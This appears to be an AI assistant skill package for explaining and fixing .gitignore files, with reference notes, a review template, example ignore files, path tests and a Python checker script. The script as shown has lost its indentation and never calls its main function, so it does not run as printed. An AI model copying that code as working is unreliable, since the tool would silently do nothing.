Explains every line of a .gitignore, tests it against paths that must be ignored or must stay committable, names the rule that decides each path, and flags mistakes such as negations blocked by an excluded parent folder, inline comments, leading spaces, backslashes, stray **, secrets not covered and .env.example ignored. Returns a fixed file. Includes a stdlib Python checker with --self-test, matched against real git.
---
name: gitignore-pattern-tester-and-reviewer
description: Explains every line of a .gitignore, tests it against paths that must be ignored or must stay committable, names the rule that decides each path, and flags mistakes such as negations blocked by an excluded parent folder, inline comments, leading spaces, backslashes, stray **, secrets not covered and .env.example ignored. Returns a fixed file. Includes a stdlib Python checker with --self-test, matched against real git.
---
# Gitignore Pattern Tester and Reviewer
You help developers understand and fix `.gitignore` files. You explain what each pattern really matches, prove it with path tests, and find the mistakes that make git ignore source files or commit secrets and build output. You return a corrected file with tests that pass, not just advice.
## Files in this skill
- `scripts/gitignore_check.py` - explains each rule, runs "+ path" (must be ignored) and "- path" (must be kept) tests, names the deciding line for each path, and reports HIGH, MEDIUM, LOW and INFO findings (Python 3 standard library only)
- `references/gitignore-rules.md` - how git reads ignore files: sources and priority, line syntax, anchoring, wildcards, the parent-directory rule, tracked files and commands to confirm
- `references/common-pitfalls.md` - every finding code with its fix, pitfalls the script cannot see (broad names, tracked files, nested files, case sensitivity, lock files, .dockerignore differences) and good starting blocks
- `templates/gitignore-review.md` - the review to hand back
- `examples/webapp.gitignore` - a web app ignore file with six real bugs
- `examples/webapp-fixed.gitignore` - the corrected file (all tests pass)
- `examples/webapp-paths.txt` - 19 path tests used with both files
## Workflow
### 1. Collect the inputs
Ask for the `.gitignore` (and any nested ones), the stack, and the paths that matter: what must be ignored (build output, dependencies, logs, secrets) and what must stay committable (source folders with common names like `build/` or `lib/`, `.gitkeep` files, `.env.example`, lock files). If the user only asks "why is X ignored?" ask for the path and use `git check-ignore -v X` output if they have it.
### 2. Run the checker
```
python3 scripts/gitignore_check.py examples/webapp.gitignore --test examples/webapp-paths.txt
python3 scripts/gitignore_check.py .gitignore --test paths.txt --json
python3 scripts/gitignore_check.py --self-test
```
Paths file: `+ path` must be ignored, `- path` must be kept, end directories with `/`. Exit 1 means a HIGH finding or a failed test, 2 means unreadable input. The checker models one ignore file at the repo root; for a nested file, give paths relative to its folder.
### 3. Explain and fix
- Walk through the Rules table in plain words, especially anchoring (slash at start or middle = relative to the .gitignore folder) and the parent-directory rule (see `references/gitignore-rules.md`).
- For each FAIL, quote the deciding line from the "Decided by" column and give the smallest change that fixes it.
- Fix every HIGH and MEDIUM finding; explain any INFO you leave in place.
- Add `- path` tests for source folders with common names so over-broad rules show up.
- Re-run the checker on the fixed file until all tests pass, and show the diff.
### 4. Deliver
Fill `templates/gitignore-review.md`: what the current file does, the test table, findings, the full fixed file, a diff, and the commands to confirm (`git check-ignore -v`, `git status --ignored`) and to untrack files that were already committed (`git rm --cached`).
## Example result
For `examples/webapp.gitignore` with `examples/webapp-paths.txt`: 13/19 tests pass, 1 HIGH, 4 MEDIUM, 2 LOW, 1 INFO. HIGH NEGATION_BLOCKED: `logs/` excludes the folder, so `!logs/.gitkeep` can never apply (fix: `logs/*`). MEDIUM: `config/secrets.yml # never commit` is one pattern, so the secrets file would be committed; ` Thumbs.db` has a leading space; `src\generated` is read as `srcgenerated`; and `*.key`, `*.pem` and `id_rsa` files are not covered. LOW: `.env*` hides `.env.example`; `*.log` is listed twice. The unanchored `build` also hides `src/build/README.md` (fix: `/build/`). `examples/webapp-fixed.gitignore` passes 19/19 with no HIGH, MEDIUM or LOW findings.
## Rules
- Last matching line wins; a file inside an excluded folder can never be re-included. Say this whenever a `!` line is involved.
- Never suggest ignoring lock files (`package-lock.json`, `poetry.lock`, `go.sum`, app `Cargo.lock`) or shared config the team commits on purpose.
- If a secret was already committed, say that ignoring it is not enough: rotate it and consider rewriting history.
- Prefer anchored root patterns (`/dist/`, `/build/`) for output folders, and put personal editor and OS files in the global ignore file when the team agrees.
- Confirm on the real repository with `git check-ignore -v`: the script follows git's documented rules for one file, but nested files, `.git/info/exclude`, the global file and `core.ignorecase` can change the result.
FILE:references/gitignore-rules.md
# How git reads .gitignore
Source: the gitignore(5) manual (`git help gitignore`). The checker implements these rules and was compared with real git 2.47 on 6,956 path checks with no differences.
## Where rules come from (highest priority first)
1. Command-line `--exclude` options (rare; used by some tools).
2. `.gitignore` files: the one in the same folder as the path wins over the ones above it. Patterns are relative to the folder that holds that `.gitignore`.
3. `.git/info/exclude` - local to one clone, never committed. Good for personal scratch files.
4. The global file in `core.excludesFile` (default `~/.config/git/ignore`) - good for editor and OS files such as `.DS_Store` and `*.swp`.
Inside one file, the LAST matching line decides.
## Line syntax
| Line | Meaning |
|---|---|
| empty | ignored, use as a separator |
| `# text` | comment; only at the very start of a line. `foo # bar` is the pattern `foo # bar` |
| `\#file` | a name that starts with `#` |
| `!pattern` | re-include something an earlier line excluded |
| `\!file` | a name that starts with `!` |
| `name ` | trailing spaces are dropped unless escaped (`name\ `) |
| ` name` | leading spaces are KEPT and become part of the name |
| `\` | escapes the next character; it is never a path separator |
## Slashes decide where a pattern matches
| Pattern | Matches | Does not match |
|---|---|---|
| `build` | `build`, `src/build`, `a/b/build/x.js` (any file or folder named build) | `build.sh` |
| `build/` | folders named build at any depth | a FILE named build |
| `/build` | `build` next to the .gitignore only | `src/build` |
| `doc/frotz` | `doc/frotz` next to the .gitignore (a slash in the middle anchors like a leading slash) | `a/doc/frotz` |
| `**/doc/frotz` | `doc/frotz` at any depth | |
Rule of thumb: no slash (or only a trailing one) = any depth; a slash at the start or middle = relative to the .gitignore folder.
## Wildcards
| Wildcard | Meaning |
|---|---|
| `*` | any characters except `/` (`*.log`, `/a*z` does not match `ab/cz`) |
| `?` | exactly one character except `/` |
| `[abc]`, `[a-z]`, `[!0-9]`, `[^0-9]` | one character from (or not from) the set; `[[:digit:]]` style classes work |
| `**/name` | `name` in any folder, including the top |
| `dir/**` | everything inside `dir`, but not `dir` itself |
| `a/**/b` | `a/b`, `a/x/b`, `a/x/y/b` |
| `foo**`, `**bar` | `**` not next to slashes acts like a single `*` |
## The parent-directory rule (the most common surprise)
"It is not possible to re-include a file if a parent directory of that file is excluded." Git does not even list the contents of an excluded folder, so a later `!` line never gets a chance.
```gitignore
# does NOT work: logs/ is excluded as a folder
logs/
!logs/.gitkeep
# works: exclude the folder's contents, keep the folder visible
logs/*
!logs/.gitkeep
# works for deeper files: re-include each folder level
/assets/*
!/assets/icons/
/assets/icons/*
!/assets/icons/app.svg
```
## Whitelist style
Ignore everything, then allow what you want:
```gitignore
*
!*/
!*.md
!src/**
```
`!*/` re-includes every folder so the later `!` lines can reach files inside them.
## Already tracked files
.gitignore only affects untracked files. A file that is already committed stays tracked:
```
git rm --cached path/to/file # keep it on disk, stop tracking it
git rm -r --cached build/ # same for a folder
```
If it was a secret, removing it from tracking is not enough: rotate the secret, because it is still in history.
## Commands to confirm
```
git check-ignore -v path/to/file # prints the file, line and pattern that ignores it (nothing = not ignored)
git check-ignore -v --no-index path # also for files that are tracked
git status --ignored --short # lists ignored files as "!!"
git ls-files --others --ignored --exclude-standard # every ignored untracked file
```
FILE:references/common-pitfalls.md
# Common .gitignore pitfalls and the checker's codes
| Code | Severity | What goes wrong | Fix |
|---|---|---|---|
| NEGATION_BLOCKED | HIGH | `!path/file` after a rule that excludes a parent folder (`logs/`, `dist`, `a/*` for `a/b/c`) never takes effect, so the file you meant to commit stays ignored | Exclude contents (`logs/*` or `logs/**`) instead of the folder, or re-include each folder level (`!a/b/`) |
| SECRETS_NOT_COVERED | MEDIUM | typical secret files (`.env`, `*.pem`, `*.key`, `id_rsa`) would be committed by `git add .` | Add `.env`, `.env.*`, `*.pem`, `*.key`, `id_rsa*`; also use a secret scanner in CI |
| INLINE_COMMENT | MEDIUM | `secrets.yml # never commit` is one pattern including the comment text, so `secrets.yml` is NOT ignored | Put comments on their own line |
| LEADING_SPACE | MEDIUM | ` Thumbs.db` matches only a name that starts with a space | Remove the space |
| BACKSLASH_SEPARATOR | MEDIUM | `src\generated` means "src" + escaped "g" + "enerated" = `srcgenerated` | Always use `/`, also on Windows |
| ENV_EXAMPLE_IGNORED | LOW | `.env*` also hides `.env.example`, the template other developers need | Add `!.env.example` after it |
| DUPLICATE | LOW | the same line twice; harmless but a sign of copy-paste merges | Delete one |
| DOUBLE_STAR | LOW | `foo**` is just `foo*`; the author probably meant `foo/**` | Use `**` only as `**/x`, `x/**` or `a/**/b` |
| TRAILING_SPACE | LOW | trailing spaces are silently dropped; if they were meant, the file will not match | Remove or escape them |
| CRLF | LOW | Windows line endings in .gitignore | Save as LF; add `* text=auto` to .gitattributes |
| ANCHORED_BY_SLASH | INFO | `src/gen` only matches next to the .gitignore, not `packages/a/src/gen` | Add `/` to show intent or `**/` to match at any depth |
## Pitfalls the script cannot see (check them by hand)
- **Unanchored names that are too broad.** `build` also hides `src/build/` and `docs/build/`; `lib` hides every `lib` folder including source code. Use `/build/` for the root output folder. Write a `- path` test for any source folder with a common name.
- **Tracked files.** Adding a rule does not untrack files already committed. Run `git ls-files -ci --exclude-standard` to list tracked files that match the ignore rules, then `git rm --cached`.
- **Nested .gitignore files.** A `.gitignore` in a subfolder adds rules relative to that subfolder and can re-include what the root file excluded (unless a parent folder is excluded). Run the checker on each file with paths relative to its folder, or confirm with `git check-ignore -v`.
- **Case sensitivity.** On macOS and Windows `core.ignorecase=true` makes `*.JPG` match `photo.jpg`; on Linux CI it does not. Write both cases or use `*.[jJ][pP][gG]`.
- **Personal files in the shared file.** `.idea/`, `.vscode/`, `*.swp`, `.DS_Store` belong in the global ignore file (`core.excludesFile`), though many teams keep them in the repo file for convenience. Do not ignore `.vscode/settings.json` if the team shares it on purpose.
- **Lock files.** Do not ignore `package-lock.json`, `yarn.lock`, `pnpm-lock.yaml`, `poetry.lock`, `Cargo.lock` (for applications) or `go.sum`: they make builds reproducible.
- **Ignoring then committing anyway.** `git add -f` overrides ignore rules; reviewers should check for force-added build output or secrets.
- **Other ignore files use different rules.** `.dockerignore` uses Go filepath.Match plus `**` and is always anchored at the build context root (no "any depth" for plain names). `.npmignore`, `.eslintignore` and `.prettierignore` follow gitignore-like rules but not always every detail. Test them with their own tools.
## Good starting blocks
```gitignore
# Node
node_modules/
/dist/
/build/
npm-debug.log*
.npm/
# Python
__pycache__/
*.py[cod]
.venv/
.pytest_cache/
/dist/
*.egg-info/
# Secrets
.env
.env.*
!.env.example
*.pem
*.key
id_rsa*
# Logs that keep their folder
logs/*
!logs/.gitkeep
```
FILE:templates/gitignore-review.md
# .gitignore review: <repository or folder>
**Stack:** <Node 20 + Vite / Python 3.12 / monorepo with pnpm workspaces>
**Files reviewed:** <.gitignore at root, packages/api/.gitignore>
**Summary:** <one sentence: the most important problem and what the fix changes>
## What the current file does
| Line | Pattern | Meaning |
|---|---|---|
| <9> | <`logs/`> | <ignores every folder named logs, at any depth, and everything in it> |
## Path tests
| Result | Path | Expected | Actual | Decided by |
|---|---|---|---|---|
| <FAIL> | <`logs/.gitkeep`> | <kept> | <ignored> | <parent logs/ excluded by L9; L10 cannot re-include it> |
## Findings
| # | Severity | Code | Line | Problem | Fix |
|---|---|---|---|---|---|
| 1 | <HIGH> | <NEGATION_BLOCKED> | <10> | <...> | <use logs/* instead of logs/> |
## Proposed .gitignore
```gitignore
<full fixed file, with comments on their own lines>
```
## Changes
```diff
- logs/
+ logs/*
```
## Apply and confirm
1. Replace the file, then run: `git check-ignore -v <each path from the tests>`
2. `git status --ignored --short` and check nothing important shows as `!!`
3. Untrack files that are now ignored but were committed: `git rm --cached <path>` (rotate any secret that was committed)
4. Commit: `chore: fix .gitignore (<short reason>)`
## Follow-ups
- <move editor files to the global ignore file>
- <add a secret scanner (gitleaks, trufflehog) to CI>
FILE:examples/webapp.gitignore
# Dependencies
node_modules
/vendor/
# Build output
dist/
build
*.log
logs/
!logs/.gitkeep
# Environment
.env*
config/secrets.yml # never commit
# OS and editor files
.DS_Store
.idea/
*.swp
Thumbs.db
# Test coverage
coverage/**
!coverage/README.md
# Generated code
src\generated
*.log
FILE:examples/webapp-fixed.gitignore
# Dependencies
node_modules/
/vendor/
# Build output (root only, so src/build/ stays tracked)
/dist/
/build/
*.log
# ignore the contents of logs/, not the folder, so the negation can work
logs/*
!logs/.gitkeep
# Environment and secrets
.env
.env.*
!.env.example
*.pem
*.key
id_rsa*
# never commit
config/secrets.yml
# OS and editor files
.DS_Store
Thumbs.db
.idea/
*.swp
# Test coverage
coverage/**
!coverage/README.md
# Generated code
/src/generated/
FILE:examples/webapp-paths.txt
# Paths for examples/webapp.gitignore and webapp-fixed.gitignore
# "+ path" = must be ignored, "- path" = must stay committable
+ node_modules/react/index.js
+ packages/api/node_modules/lodash/lodash.js
+ vendor/autoload.php
- packages/vendor/README.md
+ dist/app.js
+ build/output.js
- src/build/README.md
+ logs/app.log
- logs/.gitkeep
+ .env
+ .env.local
- .env.example
+ config/secrets.yml
+ .DS_Store
+ Thumbs.db
+ coverage/lcov.info
- coverage/README.md
+ src/generated/types.ts
- src/index.ts
FILE:scripts/gitignore_check.py
#!/usr/bin/env python3
"""Gitignore pattern tester and reviewer (Python 3 standard library only).
Explains every rule in a .gitignore file, tests the file against paths that must be
ignored ("+ path") or must stay committable ("- path"), names the rule that decides
each path, and flags common mistakes: negations that cannot work because a parent
directory is excluded, inline comments, leading spaces, Windows backslashes, stray
"**", duplicates, secrets that are not covered and .env.example being ignored.
Matching follows git's documented gitignore rules for a single .gitignore at the
repository root: last matching rule wins, "!" re-includes, a trailing "/" matches
directories only, a "/" at the start or in the middle anchors the pattern to the
.gitignore's directory, "*" "?" "[...]" never match "/", "**" spans directories,
and a file can never be re-included if a parent directory is excluded.
Usage:
python3 gitignore_check.py .gitignore [--test paths.txt] [--json]
python3 gitignore_check.py --self-test
Paths file: one path per line, "+ path" = must be ignored, "- path" = must NOT be
ignored, end a path with "/" if it is a directory, "#" starts a comment.
Exit codes: 0 = no HIGH findings and all tests pass, 1 = HIGH finding or failed test,
2 = unreadable input.
"""
import argparse, json, re, sys
SEV_ORDER = {"HIGH": 0, "MEDIUM": 1, "LOW": 2, "INFO": 3}
SECRET_PROBES = [".env", "config/.env.production", "certs/server.key", "deploy/id_rsa",
"secrets/service-account.pem"]
POSIX_CLASSES = {"alnum": "a-zA-Z0-9", "alpha": "a-zA-Z", "digit": "0-9", "lower": "a-z",
"upper": "A-Z", "space": " \\t\\n\\r\\f\\v", "xdigit": "0-9A-Fa-f",
"punct": re.escape("!\"#$%&'()*+,-./:;<=>?@[\\]^_`{|}~"), "blank": " \\t"}
class Rule:
def __init__(self, line_no, raw, negate, dir_only, anchored, body, regex):
self.line_no, self.raw, self.negate, self.dir_only = line_no, raw, negate, dir_only
self.anchored, self.body, self.regex = anchored, body, regex
def matches(self, rel_path, is_dir):
if self.dir_only and not is_dir:
return False
target = rel_path if self.anchored else rel_path.rsplit("/", 1)[-1]
return self.regex.fullmatch(target) is not None
def label(self):
return f"L{self.line_no} `{self.raw}`"
def strip_trailing_spaces(s):
"""git drops trailing spaces unless the last one is escaped with a backslash."""
end = len(s)
while end > 0 and s[end - 1] == " ":
bs, k = 0, end - 2
while k >= 0 and s[k] == "\\":
bs += 1; k -= 1
if bs % 2 == 1:
break
end -= 1
return s[:end]
def class_to_regex(body):
out, m = "", 0
while m < len(body):
ch = body[m]
if ch == "[" and body.startswith("[:", m):
end = body.find(":]", m + 2)
if end != -1 and body[m + 2:end] in POSIX_CLASSES:
out += POSIX_CLASSES[body[m + 2:end]]; m = end + 2; continue
if ch == "\\" and m + 1 < len(body):
out += re.escape(body[m + 1]); m += 2; continue
if ch == "-" and 0 < m < len(body) - 1:
out += "-"; m += 1; continue
out += re.escape(ch); m += 1
return out
def glob_to_regex(p):
out, i, n = "", 0, len(p)
while i < n:
c = p[i]
if c == "\\":
if i + 1 < n:
out += re.escape(p[i + 1]); i += 2
else:
i += 1 # a lone trailing backslash matches nothing extra
continue
if c == "*":
j = i
while j < n and p[j] == "*":
j += 1
if j - i >= 2 and (i == 0 or p[i - 1] == "/") and (j == n or p[j] == "/"):
if j == n:
out += ".*"; i = j
else:
out += "(?:.*/)?"; i = j + 1
continue
out += "[^/]*"; i = j; continue
if c == "?":
out += "[^/]"; i += 1; continue
if c == "[":
j = i + 1
neg = j < n and p[j] in "!^"
if neg:
j += 1
k = j + 1 if j < n and p[j] == "]" else j
while k < n and p[k] != "]":
if p[k] == "[" and p.startswith("[:", k):
end = p.find(":]", k + 2)
if end != -1:
k = end + 2; continue
k += 2 if p[k] == "\\" else 1
if k >= n:
out += re.escape("["); i += 1; continue
cls = class_to_regex(p[j:k])
out += ("[^/" + cls + "]") if neg else ("(?!/)[" + cls + "]")
i = k + 1; continue
out += re.escape(c); i += 1
return out
def parse_rules(text):
rules, findings, seen = [], [], {}
for no, raw in enumerate(text.split("\n"), 1):
if raw.endswith("\r"):
findings.append(("LOW", "CRLF", no, "line ends with CR (Windows line ending)",
"Save the file with LF line endings; set `* text=auto` in .gitattributes."))
raw = raw[:-1]
if not raw.strip() or raw.startswith("#"):
continue
line = strip_trailing_spaces(raw)
if line != raw:
findings.append(("LOW", "TRAILING_SPACE", no, f"`{raw}` has trailing spaces, which git drops",
"Delete them; escape a real trailing space as `\\ `."))
if raw[0] in " \t":
findings.append(("MEDIUM", "LEADING_SPACE", no, f"`{raw}` starts with whitespace, which git keeps as part of the name, so it matches nothing useful",
"Remove the leading whitespace."))
m = re.search(r"\s#", line)
if m:
findings.append(("MEDIUM", "INLINE_COMMENT", no, f"`{line}`: git has no inline comments, so `{line[m.start():].strip()}` becomes part of the pattern",
"Move the comment to its own line starting with #."))
if re.search(r"\\[A-Za-z0-9_]", line):
findings.append(("MEDIUM", "BACKSLASH_SEPARATOR", no, f"`{line}` uses a backslash, which escapes the next character instead of separating directories",
"Use forward slashes: `" + line.replace("\\", "/") + "`."))
key = line.strip()
if key in seen:
findings.append(("LOW", "DUPLICATE", no, f"`{key}` repeats line {seen[key]}", "Delete the duplicate."))
else:
seen[key] = no
negate = line.startswith("!")
body = line[1:] if negate else line
if body.startswith("\\!") or body.startswith("\\#"):
body = body[1:]
if negate and not body:
findings.append(("LOW", "EMPTY_NEGATION", no, "`!` alone does nothing", "Delete the line."))
continue
dir_only = body.endswith("/") and not body.endswith("\\/")
if dir_only:
body = body.rstrip("/")
if not body:
continue
anchored = "/" in body
if body.startswith("/"):
body = body[1:]
if any((m.start() > 0 and body[m.start() - 1] != "/") or (m.end() < len(body) and body[m.end()] != "/")
for m in re.finditer(r"\*{2,}", body)):
findings.append(("LOW", "DOUBLE_STAR", no, f"`{line}`: `**` not between slashes acts like a single `*`",
"Use `**/name`, `dir/**` or `a/**/b`, or a single `*`."))
rules.append(Rule(no, line, negate, dir_only, anchored, body, re.compile(glob_to_regex(body), re.S)))
return rules, findings
def last_match(rules, rel_path, is_dir):
hit = None
for r in rules:
if r.matches(rel_path, is_dir):
hit = r
return hit
def check_path(rules, path):
"""Return (ignored, reason, blocked_rule) following git's parent-directory rule."""
is_dir = path.endswith("/")
parts = [p for p in path.strip("/").split("/") if p]
for k in range(1, len(parts) + 1):
sub = "/".join(parts[:k])
sub_is_dir = k < len(parts) or is_dir
hit = last_match(rules, sub, sub_is_dir)
if k < len(parts):
if hit and not hit.negate:
own = last_match(rules, "/".join(parts), is_dir)
blocked = own if own and own.negate else None
return True, f"parent `{sub}/` excluded by {hit.label()}", blocked
else:
if hit is None:
return False, "no rule matches", None
if hit.negate:
return False, f"re-included by {hit.label()}", None
return True, f"ignored by {hit.label()}", None
return False, "empty path", None
def literal_dirs(body):
parts = body.split("/")[:-1]
out = []
for p in parts:
if any(ch in p for ch in "*?[\\"):
break
out.append(p)
return out
def lint_negations(rules):
findings = []
for idx, r in enumerate(rules):
if not r.negate or not r.anchored:
continue
before = rules[:idx]
dirs = literal_dirs(r.body)
for k in range(1, len(dirs) + 1):
sub = "/".join(dirs[:k])
hit = last_match(before, sub, True)
if hit and not hit.negate:
findings.append(("HIGH", "NEGATION_BLOCKED", r.line_no,
f"`{r.raw.strip()}` can never apply: its parent directory `{sub}/` is excluded by {hit.label()} and git does not look inside excluded directories",
f"Exclude the contents instead of the directory (`{sub}/*` or `{sub}/**`), then keep the `!` rule; or re-include `!{sub}/` first."))
break
return findings
def lint_secrets(rules):
findings = []
missing = [p for p in SECRET_PROBES if not check_path(rules, p)[0]]
if missing:
findings.append(("MEDIUM", "SECRETS_NOT_COVERED", 0, "these typical secret files would NOT be ignored: " + ", ".join(missing),
"Add `.env`, `.env.*` (with `!.env.example`), `*.pem`, `*.key`, `id_rsa*` if the project could ever contain them."))
if check_path(rules, ".env.example")[0]:
findings.append(("LOW", "ENV_EXAMPLE_IGNORED", 0, "`.env.example` is ignored, so the documented template cannot be committed",
"Add `!.env.example` after the .env rule."))
return findings
def explain(rule):
body = rule.body
kind = "directories" if rule.dir_only else "files or directories"
verb = "Re-includes" if rule.negate else "Ignores"
wild = any(ch in body for ch in "*?[")
if rule.anchored and body.endswith("/**") and "*" not in body[:-3]:
text = f"{verb} everything inside `{body[:-3]}/` (but not the folder itself), relative to the .gitignore folder"
elif rule.anchored and body.startswith("**/") and "/" not in body[3:]:
text = f"{verb} {kind} {'matching' if wild else 'named'} `{body[3:]}` at any depth"
elif rule.anchored:
text = f"{verb} {kind} {'matching' if wild else 'at'} `{body}` relative to the .gitignore folder only"
else:
text = f"{verb} {kind} {'matching' if wild else 'named'} `{body}` at any depth"
if not rule.negate and not body.endswith("/**"):
text += "; a matched directory hides everything inside it"
if rule.negate:
text += " (only works if no parent directory is excluded)"
return text + "."
def read_tests(text):
tests = []
for no, line in enumerate(text.splitlines(), 1):
s = line.strip()
if not s or s.startswith("#"):
continue
if s[0] not in "+-" or len(s) < 3:
raise ValueError(f"paths file line {no}: expected '+ path' or '- path', got {line!r}")
tests.append((s[0] == "+", s[1:].strip()))
return tests
def review(gi_text, tests_text=None):
rules, findings = parse_rules(gi_text)
findings += lint_negations(rules)
findings += lint_secrets(rules)
anchored = [r.line_no for r in rules if r.anchored and not r.negate and "/" in r.body
and not r.raw.startswith(("/", "**/")) and not r.body.endswith("/**")]
if anchored:
findings.append(("INFO", "ANCHORED_BY_SLASH", anchored[0],
"lines " + ", ".join(map(str, anchored)) + " contain a slash, so they only match relative to the .gitignore folder, not deeper copies",
"Fine if intended; add a leading `/` to make that explicit, or prefix `**/` to match at any depth."))
results = []
if tests_text:
for want, path in read_tests(tests_text):
got, reason, blocked = check_path(rules, path)
note = reason
if blocked:
note += f"; {blocked.label()} cannot re-include it"
results.append({"path": path, "expect": "ignored" if want else "kept",
"actual": "ignored" if got else "kept", "pass": got == want, "why": note})
findings.sort(key=lambda f: (SEV_ORDER[f[0]], f[2]))
return {"rules": [{"line": r.line_no, "pattern": r.raw, "meaning": explain(r)} for r in rules],
"findings": [dict(zip(("severity", "code", "line", "problem", "fix"), f)) for f in findings],
"tests": results}
def render(name, rep):
out = [f"# .gitignore review: {name}", ""]
counts = {s: sum(1 for f in rep["findings"] if f["severity"] == s) for s in SEV_ORDER}
failed = sum(1 for t in rep["tests"] if not t["pass"])
out.append(f"Findings: {counts['HIGH']} HIGH, {counts['MEDIUM']} MEDIUM, {counts['LOW']} LOW, {counts['INFO']} INFO")
if rep["tests"]:
out.append(f"Tests: {len(rep['tests']) - failed}/{len(rep['tests'])} passed")
out += ["", "## Rules", "", "| Line | Pattern | Meaning |", "|---|---|---|"]
for r in rep["rules"]:
out.append(f"| {r['line']} | `{r['pattern']}` | {r['meaning']} |")
if rep["tests"]:
out += ["", "## Path tests", "", "| Result | Path | Expected | Actual | Decided by |", "|---|---|---|---|---|"]
for t in rep["tests"]:
out.append(f"| {'PASS' if t['pass'] else 'FAIL'} | `{t['path']}` | {t['expect']} | {t['actual']} | {t['why']} |")
out += ["", "## Findings", ""]
if rep["findings"]:
out += ["| Severity | Code | Line | Problem | Fix |", "|---|---|---|---|---|"]
for f in rep["findings"]:
out.append(f"| {f['severity']} | {f['code']} | {f['line'] or '-'} | {f['problem']} | {f['fix']} |")
else:
out.append("No findings.")
out += ["", "Confirm on the real repo with `git check-ignore -v <path>` and `git status --ignored`; files that are already tracked stay tracked until `git rm --cached <path>`."]
return "\n".join(out)
def self_test():
cases = []
def t(name, cond):
cases.append((name, bool(cond)))
R = lambda s: parse_rules(s)[0]
ign = lambda s, p: check_path(R(s), p)[0]
t("*.log matches at any depth", ign("*.log", "a/b/c.log") and ign("*.log", "x.log"))
t("* does not cross /", not ign("/a*z", "ab/cz") and ign("/a*z", "abcz"))
t("name without slash matches basename anywhere", ign("build", "src/build/x.js"))
t("leading slash anchors", ign("/vendor", "vendor/a") and not ign("/vendor", "lib/vendor/a"))
t("middle slash anchors", ign("doc/frotz", "doc/frotz") and not ign("doc/frotz", "a/doc/frotz"))
t("trailing slash = directory only", ign("logs/", "logs/x") and not ign("logs/", "logs"))
t("dir-only rule ignores a dir path", ign("logs/", "logs/"))
t("**/ prefix matches any depth", ign("**/foo", "foo") and ign("**/foo", "a/b/foo"))
t("**/foo/bar", ign("**/foo/bar", "x/foo/bar") and not ign("**/foo/bar", "x/foo/baz"))
t("trailing /** matches contents only", ign("abc/**", "abc/x/y") and not ign("abc/**", "abc"))
t("a/**/b zero or more dirs", ign("a/**/b", "a/b") and ign("a/**/b", "a/x/y/b") and not ign("a/**/b", "ab"))
t("? matches one char not /", ign("/a?c", "abc") and not ign("/a?c", "a/c"))
t("[abc] class", ign("file[12].txt", "file1.txt") and not ign("file[12].txt", "file3.txt"))
t("[!x] negated class", ign("f[!0-9]", "fa") and not ign("f[!0-9]", "f5"))
t("[[:digit:]] posix class", ign("v[[:digit:]]", "v7") and not ign("v[[:digit:]]", "vx"))
t("last match wins with negation", not ign("*.txt\n!keep.txt", "keep.txt") and ign("*.txt\n!keep.txt", "a.txt"))
t("order matters", ign("!keep.txt\n*.txt", "keep.txt"))
t("parent dir excluded blocks negation", ign("logs/\n!logs/.gitkeep", "logs/.gitkeep"))
t("dir/* allows negation", not ign("logs/*\n!logs/.gitkeep", "logs/.gitkeep"))
t("dir/** allows negation", not ign("coverage/**\n!coverage/README.md", "coverage/README.md"))
t("re-include dir then file", not ign("/a/*\n!/a/b/\n/a/b/*\n!/a/b/c", "a/b/c"))
t("escaped # and !", ign("\\#notes", "#notes") and ign("\\!bang", "!bang"))
t("comment lines skipped", not ign("# *.log", "a.log"))
t("trailing spaces stripped", ign("foo ", "foo"))
t("escaped trailing space kept", ign("foo\\ ", "foo ") and not ign("foo\\ ", "foo"))
t("leading space kept as part of name", not ign(" Thumbs.db", "Thumbs.db"))
t("inline comment becomes pattern", not ign("secrets.yml # x", "secrets.yml"))
t("backslash escapes, not a separator", not ign("src\\gen", "src/gen/a.ts"))
def codes(s):
return {f[1] for f in parse_rules(s)[1]} | {f[1] for f in lint_negations(parse_rules(s)[0])} | {f[1] for f in lint_secrets(parse_rules(s)[0])}
t("NEGATION_BLOCKED found", "NEGATION_BLOCKED" in codes("logs/\n!logs/.gitkeep"))
t("NEGATION_BLOCKED not for dir/*", "NEGATION_BLOCKED" not in codes("logs/*\n!logs/.gitkeep"))
t("NEGATION_BLOCKED via dir/* deeper", "NEGATION_BLOCKED" in codes("a/*\n!a/b/c.txt"))
t("INLINE_COMMENT found", "INLINE_COMMENT" in codes("x.yml # c"))
t("LEADING_SPACE found", "LEADING_SPACE" in codes(" x"))
t("BACKSLASH_SEPARATOR found", "BACKSLASH_SEPARATOR" in codes("a\\b"))
t("DUPLICATE found", "DUPLICATE" in codes("*.log\n*.log"))
t("DOUBLE_STAR found", "DOUBLE_STAR" in codes("foo**") and "DOUBLE_STAR" not in codes("**/foo\nfoo/**"))
t("CRLF found", "CRLF" in codes("a\r\nb"))
t("SECRETS_NOT_COVERED found", "SECRETS_NOT_COVERED" in codes("*.log"))
t("secrets covered", "SECRETS_NOT_COVERED" not in codes(".env\n.env.*\n!.env.example\n*.key\n*.pem\nid_rsa*"))
t("ENV_EXAMPLE_IGNORED found", "ENV_EXAMPLE_IGNORED" in codes(".env*"))
acodes = lambda s: {f["code"] for f in review(s)["findings"]}
t("ANCHORED_BY_SLASH info", "ANCHORED_BY_SLASH" in acodes("src/gen") and "ANCHORED_BY_SLASH" not in acodes("/src/gen\nlogs/**\n**/x/y"))
rep = review("logs/\n!logs/.gitkeep\n", "+ logs/a.log\n- logs/.gitkeep\n")
t("test table marks blocked negation FAIL", rep["tests"][0]["pass"] and not rep["tests"][1]["pass"] and "cannot re-include" in rep["tests"][1]["why"])
try:
read_tests("? bad")
t("bad paths line rejected", False)
except ValueError:
t("bad paths line rejected", True)
t("findings sorted HIGH first", review("x # c\nlogs/\n!logs/a\n")["findings"][0]["severity"] == "HIGH")
passed = sum(ok for _, ok in cases)
for name, ok in cases:
print(("PASS " if ok else "FAIL ") + name)
print(f"{passed}/{len(cases)} passed")
return 0 if passed == len(cases) else 1
def main():
ap = argparse.ArgumentParser(description=__doc__, formatter_class=argparse.RawDescriptionHelpFormatter)
ap.add_argument("gitignore", nargs="?")
ap.add_argument("--test", help="paths file with '+ path' (must be ignored) and '- path' (must be kept)")
ap.add_argument("--json", action="store_true")
ap.add_argument("--self-test", action="store_true")
a = ap.parse_args()
if a.self_test:
return self_test()
if not a.gitignore:
ap.print_usage(sys.stderr); return 2
try:
gi = open(a.gitignore, encoding="utf-8", newline="").read()
tests = open(a.test, encoding="utf-8").read() if a.test else None
rep = review(gi, tests)
except (OSError, UnicodeDecodeError, ValueError) as e:
print(f"error: {e}", file=sys.stderr); return 2
print(json.dumps(rep, indent=2) if a.json else render(a.gitignore, rep))
